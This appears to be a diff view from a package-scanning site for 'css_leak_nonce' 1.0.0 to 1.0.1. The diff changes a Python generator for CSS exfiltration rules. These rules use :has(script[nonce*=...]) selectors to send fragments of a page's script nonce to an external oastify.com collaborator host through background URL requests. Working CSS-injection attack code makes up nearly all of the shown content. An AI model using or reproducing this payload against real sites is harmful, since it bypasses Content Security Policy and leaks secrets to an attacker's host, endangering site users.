css_leak_nonce 1.0.0 → 1.0.1
Sign up to get free protection for your applications and to get access to all the features.
- package/a.py +2 -2
- package/package.json +1 -1
- package/rules.css +1 -1
package/a.py
CHANGED
@@ -9,9 +9,9 @@ rules = ""
|
|
9
9
|
trigger = "body{ background:"
|
10
10
|
for string in strings:
|
11
11
|
rules += f':has(script[nonce*="{string}"]){{--tosend-{string}: url(http://c3gvd9g0sph6rj4g5325c6lpdgj770vp.oastify.com?x={string});}}\n'
|
12
|
-
trigger += f'var(--tosend-{string}, none)'
|
12
|
+
trigger += f'var(--tosend-{string}, none),'
|
13
13
|
|
14
|
-
trigger += "}"
|
14
|
+
trigger += "var(--tosend-aaa, none)}"
|
15
15
|
with open("rules.css", "w+") as f:
|
16
16
|
|
17
17
|
f.write(rules + "\n" + trigger + "\n")
|